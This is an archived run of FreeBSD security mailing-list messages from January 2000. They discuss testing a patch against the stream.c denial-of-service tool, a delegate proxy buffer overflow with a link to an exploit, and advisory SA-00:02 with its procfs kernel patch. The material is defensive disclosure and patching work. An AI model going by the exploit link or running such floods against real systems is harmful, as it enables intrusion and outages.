I'd be interested to know this as well. I'm updating my only remaining home -stable machine I can use for testing. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 22:59:55 2000 Delivered-To: freebsd-security@freebsd.org Received: from inferno.hi.vizip.com (inferno.hi.vizip.com [206.169.244.242]) by hub.freebsd.org (Postfix) with ESMTP id 0D7F214DDD for ; Thu, 27 Jan 2000 22:59:52 -0800 (PST) (envelope-from dream@inferno.hi.vizip.com) Received: from localhost (dream@localhost) by inferno.hi.vizip.com (8.9.3/8.9.3) with ESMTP id VAA09332; Thu, 27 Jan 2000 21:00:40 -1000 (HST) (envelope-from dream@inferno.hi.vizip.com) Date: Thu, 27 Jan 2000 21:00:40 -1000 (HST) From: Brian To: Wes Peters Cc: Warner Losh , security@FreeBSD.ORG Subject: Re: Streem.c In-Reply-To: <38913D8C.50A1EF09@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yup Wes, I installed the patch on one machine (3.4 -STABLE), and ran stream.c against it from another fbsd machine on our LAN. I had "top" open on the machine being attacked and the CPU never seemed to drop below 99.6% idle. However, when I installed the same patch on a 3.3 -STABLE machine and ran stream.c against it the CPU immediately droped below 80% percent idle. Is that patch designed for all versions of STABLE or just 3.4 ? --Brian On Thu, 27 Jan 2000, Wes Peters wrote: > Warner Losh wrote: > > > > In message "Nicholas W. Blasgen" writes: > > : Where can I find an (un)official patch for this stream.c bug that BugTraq > > : has been covering. I just joined the list today, so sorry if you have > > : already said. > > > > Something will likely be committed to -current or -stable. > > Speaking of which, has anyone had an opportunity to test or examine the patch > for -stable I posted yesterday? My machines seem to be still running after > 24 hours, and talking on the network. > > -- > "Where am I, and what am I doing in this handbasket?" > > Wes Peters Softweyr LLC > wes@softweyr.com http://softweyr.com/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 23: 9:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id EE4AE14FD4 for ; Thu, 27 Jan 2000 23:09:50 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id XAA19751; Thu, 27 Jan 2000 23:09:16 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id XAA04481; Thu, 27 Jan 2000 23:09:16 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id XAA29094; Thu, 27 Jan 2000 23:09:14 -0800 (PST) Message-ID: <389141C5.E0E4F254@softweyr.com> Date: Fri, 28 Jan 2000 00:14:13 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brian Cc: Warner Losh , security@freebsd.org Subject: Re: Streem.c References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brian wrote: > > Yup Wes, I installed the patch on one machine (3.4 -STABLE), and ran > stream.c against it from another fbsd machine on our LAN. I had "top" open > on the machine being attacked and the CPU never seemed to drop below 99.6% > idle. However, when I installed the same patch on a 3.3 -STABLE machine > and ran stream.c against it the CPU immediately droped below 80% percent > idle. Is that patch designed for all versions of STABLE or just 3.4 ? It was written on a machine that was up to date with RELENG3 as of yesterday morning. I've integrated it into the 3.3-R on my laptop, but it has only 10Base-T so you can't really push it over the network. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 23:40:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from dor.zaural.ru (dor.zaural.ru [195.161.56.129]) by hub.freebsd.org (Postfix) with ESMTP id 668BF14C82; Thu, 27 Jan 2000 23:40:01 -0800 (PST) (envelope-from serg@dor.zaural.ru) Received: (from serg@localhost) by dor.zaural.ru (8.9.3/8.9.3) id MAA02652; Fri, 28 Jan 2000 12:39:58 +0500 (YEKT) (envelope-from serg) From: "Sergey N. Voronkov" Message-Id: <200001280739.MAA02652@dor.zaural.ru> Subject: delegate buffer overflow (ports) To: max@FreeBSD.org Date: Fri, 28 Jan 2000 12:39:58 +0500 (YEKT) Cc: freebsd-security@FreeBSD.org, freebsd-bugs@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! Looking up in the net: > Hi. > > Delegate, a multiple-service proxy server contains several hundret buffer > overflows and is horrible insecure in general. > > Attached there is a demonstration exploit for just one remotely > exploitable buffer overflow for delegate, compiled on linux (this bug is > exploitable on several other platforms, too). > > I didn't bothered to notify the author of delegate, since it is > impossible to make delegate secure short time (it contains over 1000 > strcpy's and over 500 sprintf's). Just don't use delegate anymore. > > > ciao, > scut / teso security > [http://teso.scene.at/] > > -- > - scut@nb.in-berlin.de - http://nb.in-berlin.de/scut/ - sacbuctd@ircnet -- > -- you don't need a lot of people to be great, you need a few great to be -- > -- the best ----------------------------------------------------------------- > --- nuclear arrival weapon spy agent remain undercover, hi echelon ---------- And exploit for it: http://www.security.nnov.ru/1999/exploits/delefate.c Time to make port BROKEN ? Serg N. Voronkov. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 23:55:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 40C8F14DF6 for ; Thu, 27 Jan 2000 23:55:25 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id XAA80366; Thu, 27 Jan 2000 23:54:57 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001280754.XAA80366@gndrsh.dnsmgr.net> Subject: Re: Riddle me this In-Reply-To: <4.2.2.20000127171529.00c56a00@localhost> from Brett Glass at "Jan 27, 2000 05:21:50 pm" To: brett@lariat.org (Brett Glass) Date: Thu, 27 Jan 2000 23:54:56 -0800 (PST) Cc: dillon@apollo.backplane.com (Matthew Dillon), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > At 09:25 PM 1/26/2000 , Matthew Dillon wrote: > > > It's hard to say without doing a continuous tcpdump but the most likely > > possibility is that someone was playing a game or doing something else > > related to sending and receiving UDP packets, and then disconnected. > > Actually, I think I just found out what it was. > > Two words: HP JetAdmin. ... > And it gets worse. The default address of the print server hardware -- which > the client software tries to reach when it's setting up -- is (are you ready?) > 192.0.0.192. > > This isn't a legal address, nor is it a standard "unregistered" address for > a private subnet. So, natd tries to route it. Do you even know how to check for that: whois -a 192.0.0.192 IANA (RESERVED-2) RESERVED-192 192.0.0.0 - 192.0.255.255 IANA (NET-ROOT-NS-LAB) ROOT-NS-LAB 192.0.0.0 To single out one record, look it up with "!xxx", where xxx is the handle, shown in parenthesis following the name, which comes first. The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and nic.mil for NIPRNET Information. Great, looks like ARIN doesn't know what netascii is any more... ARGGHH!! whois -a NET-ROOT-NS-LAB IANA (NET-ROOT-NS-LAB) c/o Information Sciences Institute 4676 Admiralty Way, Suite 330 Marina del Rey, CA 90292-6695 Netname: ROOT-NS-LAB Netnumber: 192.0.0.0 Coordinator: Internet Assigned Numbers Authority (IANA-ARIN) iana@IANA.ORG (310) 823-9358 Fax- (310) 823-8649 Domain System inverse mapping provided by: ORB.ISI.EDU 128.9.160.66 Record last updated on 14-Oct-1999. Database last updated on 27-Jan-2000 17:26:04 EDT. The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and nic.mil for NIPRNET Information. > We really ought to block this by default by putting a "black hole" entry in > the system routing table. It certainly should not ever be routed.... Cisco > routers automatically blackhole it. Nope, it is valid routable IP space. Someone should smash HP up side the head, 192.0.2.0/24 is the more correct place to do this. And you don't really need to blackhole it, the space is pretty much unroutable globally anyway (confirmed on a 15 AS peer bgp cisco), given in simple form from a unix box here: -- J. Paul Getty :rgrimes {101}% netstat -rn | grep ^192.0 192.0.32 205.238.40.1 UGc 0 0 de0 192.0.34 205.238.40.1 UGc 0 0 de0 -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 0: 7:59 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 8E7BA15A67; Fri, 28 Jan 2000 00:07:52 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 72D471CD5DC; Fri, 28 Jan 2000 00:07:52 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Fri, 28 Jan 2000 00:07:52 -0800 (PST) From: Kris Kennaway To: "Sergey N. Voronkov" Cc: max@FreeBSD.org, freebsd-security@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: delegate buffer overflow (ports) In-Reply-To: <200001280739.MAA02652@dor.zaural.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 28 Jan 2000, Sergey N. Voronkov wrote: > And exploit for it: http://www.security.nnov.ru/1999/exploits/delefate.c > > Time to make port BROKEN ? Thanks for pointing it out..I'll look into this tomorrow and probably mark it FORBIDDEN (BROKEN won't be enough to stop the package building, since bento will try it anyway and notice it actually compiles :-) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 0:50:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns11.rim.or.jp (ns11.rim.or.jp [202.247.130.230]) by hub.freebsd.org (Postfix) with ESMTP id F0E23158B2; Fri, 28 Jan 2000 00:50:12 -0800 (PST) (envelope-from max@wide.ad.jp) Received: from rayearth.rim.or.jp (rayearth.rim.or.jp [202.247.130.242]) by ns11.rim.or.jp (8.8.8/3.5Wpl2-ns11/RIMNET-2) with ESMTP id RAA26305; Fri, 28 Jan 2000 17:47:36 +0900 (JST) Received: (from uucp@localhost) by rayearth.rim.or.jp (8.8.8/3.5Wpl2-uucp1/RIMNET) with UUCP id RAA10186; Fri, 28 Jan 2000 17:47:36 +0900 (JST) Received: from fr.aslm.rim.or.jp (fr.aslm.rim.or.jp [192.168.1.2]) by mail.aslm.rim.or.jp (8.9.3/3.5Wpl3-SMTP) with ESMTP id RAA29571; Fri, 28 Jan 2000 17:35:04 +0900 (JST) Date: Fri, 28 Jan 2000 17:34:36 +0900 Message-ID: <877lgufvc3.wl@fr.aslm.rim.or.jp> From: Masafumi NAKANE To: kris@hub.freebsd.org Cc: serg@dor.zaural.ru, freebsd-security@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: delegate buffer overflow (ports) In-Reply-To: In your message of "Fri, 28 Jan 2000 00:07:52 -0800 (PST)" References: <200001280739.MAA02652@dor.zaural.ru> User-Agent: Wanderlust/2.2.15 (More Than Words) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.4 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I don't personally think it is too good idea to mark any ports broken/forbidden because of the security problem since they still are good in dialup home environment, which I assume there are many users of. Instead, I will make this port to ask the user if he/she really wants to continue the installation with the security information at ``pkg_add'', ``make pre-fetch'' and ``make install'' times. This still makes it possible to install the port without answering to the question when ${BATCH} is set, but that's usually only set in package building times. Cheers, Max At Fri, 28 Jan 2000 00:07:52 -0800 (PST), Kris Kennaway wrote: > Thanks for pointing it out..I'll look into this tomorrow and probably mark > it FORBIDDEN (BROKEN won't be enough to stop the package building, since > bento will try it anyway and notice it actually compiles :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 0:55:57 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id B896715A34; Fri, 28 Jan 2000 00:55:54 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id A6FF01CD6D7; Fri, 28 Jan 2000 00:55:54 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Fri, 28 Jan 2000 00:55:54 -0800 (PST) From: Kris Kennaway To: Masafumi NAKANE Cc: serg@dor.zaural.ru, freebsd-security@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: delegate buffer overflow (ports) In-Reply-To: <877lgufvc3.wl@fr.aslm.rim.or.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 28 Jan 2000, Masafumi NAKANE wrote: > Instead, I will make this port to ask the user if he/she really wants > to continue the installation with the security information at > ``pkg_add'', ``make pre-fetch'' and ``make install'' times. This Hmm. If this is along the lines of: ************************************** ** WARNING!!! WARNING!!! WARNING!!! ** ************************************** THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER TO EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR OWN RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF INSTALLING THIS PORT. Do you want hackers to be able to take remote control of your machine? (y/N): then I guess I have no problem with it :-) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 1: 6:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1B20214E5E; Fri, 28 Jan 2000 01:05:58 -0800 (PST) (envelope-from security-officer@freebsd.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id CAA10273; Fri, 28 Jan 2000 02:01:24 -0700 (MST) (envelope-from security-officer@freebsd.org) Received: (from root@localhost) by harmony.village.org (8.9.3/8.8.3) id CAA60307; Fri, 28 Jan 2000 02:01:36 -0700 (MST) Date: Fri, 28 Jan 2000 02:01:36 -0700 (MST) Message-Id: <200001280901.CAA60307@harmony.village.org> From: FreeBSD Security Officer Subject: FreeBSD Security Advisory: FreeBSD-SA-00:02.procfs Reply-To: security-officer@freebsd.org From: FreeBSD Security Officer Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-00:01 Security Advisory FreeBSD, Inc. Topic: Old procfs hole incompletely filled Category: core Module: make Announced: 2000-01-24 Affects: All versions before the correction date. Corrected: 2000-01-20 FreeBSD only: NO Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch I. Background procfs provides access to other processes memory spaces. This is intended to be used in debugging and has many safeguards built into it to prevent abuse. II. Problem Description In January 1997 a fatal flaw in *BSD procfs code (leading to a local root compromise) was discussed on various security forums. The exploit code dealt with /proc/pid/mem interface. Since then *BSD kernels contained a simple fix which was meant to close this hole. Unfortunately, throughout these three years it was still possible to abuse /proc/pid/mem in a similar, though more complicated fashion, which could lead to local root compromise. III. Impact Local users can gain root access. IV. Workaround You can unmount /proc. In both 3.x-stable and 4.0-current this will break truss and gcore. In 3.x-stable systems only it will reduce the amount of information ps reports. V. Solution Apply the following patch Index: sys/filedesc.h =================================================================== RCS file: /base/FreeBSD-CVS/src/sys/sys/filedesc.h,v retrieving revision 1.15.2.1 diff -u -r1.15.2.1 filedesc.h --- filedesc.h 1999/08/29 16:32:22 1.15.2.1 +++ filedesc.h 2000/01/20 21:39:29 @@ -139,6 +139,7 @@ int fsetown __P((pid_t, struct sigio **)); void funsetown __P((struct sigio *)); void funsetownlst __P((struct sigiolst *)); +void setugidsafety __P((struct proc *p)); #endif #endif Index: kern/kern_descrip.c =================================================================== RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_descrip.c,v retrieving revision 1.58.2.3 diff -u -r1.58.2.3 kern_descrip.c --- kern_descrip.c 1999/11/18 08:09:08 1.58.2.3 +++ kern_descrip.c 2000/01/20 21:40:00 @@ -984,6 +984,62 @@ } /* + * For setuid/setgid programs we don't want to people to use that setuidness + * to generate error messages which write to a file which otherwise would + * otherwise be off limits to the proces. + * + * This is a gross hack to plug the hole. A better solution would involve + * a special vop or other form of generalized access control mechanism. We + * go ahead and just reject all procfs file systems accesses as dangerous. + * + * Since setugidsafety calls this only for fd 0, 1 and 2, this check is + * sufficient. We also don't for setugidness since we know we are. + */ +static int +is_unsafe(struct file *fp) +{ + if (fp->f_type == DTYPE_VNODE && + ((struct vnode *)(fp->f_data))->v_tag == VT_PROCFS) + return (1); + return (0); +} + +/* + * Make this setguid thing safe, if at all possible. + */ +void +setugidsafety(p) + struct proc *p; +{ + struct filedesc *fdp = p->p_fd; + struct file **fpp; + char *fdfp; + register int i; + + /* Certain daemons might not have file descriptors. */ + if (fdp == NULL) + return; + + fpp = fdp->fd_ofiles; + fdfp = fdp->fd_ofileflags; + for (i = 0; i <= fdp->fd_lastfile; i++, fpp++, fdfp++) { + if (i > 2) + break; + if (*fpp != NULL && is_unsafe(*fpp)) { + if (*fdfp & UF_MAPPED) + (void) munmapfd(p, i); + (void) closef(*fpp, p); + *fpp = NULL; + *fdfp = 0; + if (i < fdp->fd_freefile) + fdp->fd_freefile = i; + } + } + while (fdp->fd_lastfile > 0 && fdp->fd_ofiles[fdp->fd_lastfile] == NULL) + fdp->fd_lastfile--; +} + +/* * Close any files on exec? */ void Index: kern/kern_exec.c =================================================================== RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_exec.c,v retrieving revision 1.93.2.3 diff -u -r1.93.2.3 kern_exec.c --- kern_exec.c 1999/08/29 16:25:58 1.93.2.3 +++ kern_exec.c 2000/01/20 21:39:29 @@ -281,6 +281,7 @@ if (attr.va_mode & VSGID) p->p_ucred->cr_gid = attr.va_gid; setsugid(p); + setugidsafety(p); } else { if (p->p_ucred->cr_uid == p->p_cred->p_ruid && p->p_ucred->cr_gid == p->p_cred->p_rgid) VI. Credits We are republishing a heavily edited FEAR security advisory (number 1) entitled "*BSD procfs vulnerability". More information about FEAR can be found at http://www.fear.pl. We would like to thank nergal@idea.avet.com.pl for sending a preliminary version of the advisory to us in time to correct the problem. ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org Security notifications: security-notifications@freebsd.org Security public discussion: freebsd-security@freebsd.org PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBOJFWeFUuHi5z0oilAQHo2AP+N4GDREEmjxy6RUvt+G3cRe1Sx4yxr/Jd q70D5Icp3JlcJgxGfWFqGGvt8yx9xMm6d57mFDltdvPKr0TY0n0bY39BJlRAto9n gn8BJJvQ0WQ15ctOQKIsGwGJqHvA+p4qAHYFE3sUIZn6oMz5//C5OmaC7mFtrycY TI64bNR+0F8= =/F89 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 1:20:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 33DEE14E24; Fri, 28 Jan 2000 01:20:39 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id BAA14122; Fri, 28 Jan 2000 01:37:51 -0800 (PST) Date: Fri, 28 Jan 2000 01:37:51 -0800 From: Alfred Perlstein To: Kris Kennaway Cc: Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: delegate buffer overflow (ports) Message-ID: <20000128013751.A7157@fw.wintelcom.net> References: <877lgufvc3.wl@fr.aslm.rim.or.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from kris@hub.freebsd.org on Fri, Jan 28, 2000 at 12:55:54AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Kris Kennaway [000128 01:26] wrote: > On Fri, 28 Jan 2000, Masafumi NAKANE wrote: > > > Instead, I will make this port to ask the user if he/she really wants > > to continue the installation with the security information at > > ``pkg_add'', ``make pre-fetch'' and ``make install'' times. This > > Hmm. If this is along the lines of: > > ************************************** > ** WARNING!!! WARNING!!! WARNING!!! ** > ************************************** > > THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER TO > EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR OWN > RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF INSTALLING > THIS PORT. > > Do you want hackers to be able to take remote control of your > machine? (y/N): > > then I guess I have no problem with it :-) > > Kris Actually something _like_ this would do a couple of good things: a) make it known to the authors that we know thier program is a security hazard b) provide a common error message instead of multiple variations of FORBIDDEN making it harder to identify such ports, marking it insecure via INSECURE would be interesting allowing a comment possibly containing a pointer to the advisory or email thread that got it marked so. example: INSECURE= http://docs.freebsd.org/cgi/getmsg.cgi?fetch=407538+0+current/freebsd-bugs What do you think of this? -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 1:24: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id A630A15A76; Fri, 28 Jan 2000 01:24:00 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 8AFDD1CD41C; Fri, 28 Jan 2000 01:24:00 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Fri, 28 Jan 2000 01:24:00 -0800 (PST) From: Kris Kennaway To: Alfred Perlstein Cc: Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: delegate buffer overflow (ports) In-Reply-To: <20000128013751.A7157@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 28 Jan 2000, Alfred Perlstein wrote: > example: > INSECURE= http://docs.freebsd.org/cgi/getmsg.cgi?fetch=407538+0+current/freebsd-bugs > > What do you think of this? I was going to look at some formalized way of notifying the user about known security bugs, ports we have audited for certain classes of problem, etc. This won't be until after 4.0-REL, though, since I have the more important task of getting the openssl-dependent ports to build properly on 4.0 :-) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 2: 7:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 17D2814D92; Fri, 28 Jan 2000 02:07:33 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id CAA10417; Fri, 28 Jan 2000 02:36:42 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id CAA60674; Fri, 28 Jan 2000 02:36:55 -0700 (MST) Message-Id: <200001280936.CAA60674@harmony.village.org> To: Kris Kennaway Subject: Re: delegate buffer overflow (ports) Cc: Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-reply-to: Your message of "Fri, 28 Jan 2000 00:55:54 PST." References: Date: Fri, 28 Jan 2000 02:36:54 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Kris Kennaway writes: : ************************************** : ** WARNING!!! WARNING!!! WARNING!!! ** : ************************************** : : THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER TO : EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR OWN : RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF INSTALLING : THIS PORT. : : Do you want hackers to be able to take remote control of your : machine? (y/N): : : then I guess I have no problem with it :-) I think that your questions are too mildly worded. :-) Something more like the following might be acceptible to me :-) ************************************** ** WARNING!!! WARNING!!! WARNING!!! ** ************************************** THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER TO EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR OWN RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF INSTALLING THIS PORT. DO NOT INSTALL THIS MACHINE THAT YOU CARE ABOUT. YOU ARE STRONGLY ENCOURAGED NOT TO INSTALL THIS PORT. BAD THINGS WILL HAPPEN TO YOU AND YOUR CHILDREN UNTO THE SEVENTH GENERATION IF YOU INSTALL THIS PORT. PLAGUES OF LOCUS WILL DESEND FROM THE SKY. YOUR LIVE MOPPING UP FROM THE HACKER PENETRAIONS WILL BE A NIGHTMARE. ************************************** ** WARNING!!! WARNING!!! WARNING!!! ** ************************************** To proceed, type "I want hackers to be able to remotely control my system." -->I want hackers to be able to remotely control my system OK. We're not sure about this. Please reconsider. If you are still insistant about it, type "I'm stupid and I really want this package installed" now. -->I'm stupid and I really wnat this package installed Can't we talk you out of it? IF not, say proceed: --> Proceed ************************************** ** WARNING!!! WARNING!!! WARNING!!! ** ************************************** YOU HAVE BEEN WARNED. YOUR SYSTEM WILL NEVER BE SECURE AGAIN UNTIL YOU REMOVE THIS PACKAGE. ************************************** ** WARNING!!! WARNING!!! WARNING!!! ** ************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 2: 7:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 8057614E04; Fri, 28 Jan 2000 02:07:36 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id CAA10389; Fri, 28 Jan 2000 02:29:38 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id CAA60630; Fri, 28 Jan 2000 02:29:50 -0700 (MST) Message-Id: <200001280929.CAA60630@harmony.village.org> To: Masafumi NAKANE Subject: Re: delegate buffer overflow (ports) Cc: kris@hub.freebsd.org, serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-reply-to: Your message of "Fri, 28 Jan 2000 17:34:36 +0900." <877lgufvc3.wl@fr.aslm.rim.or.jp> References: <877lgufvc3.wl@fr.aslm.rim.or.jp> <200001280739.MAA02652@dor.zaural.ru> Date: Fri, 28 Jan 2000 02:29:50 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: 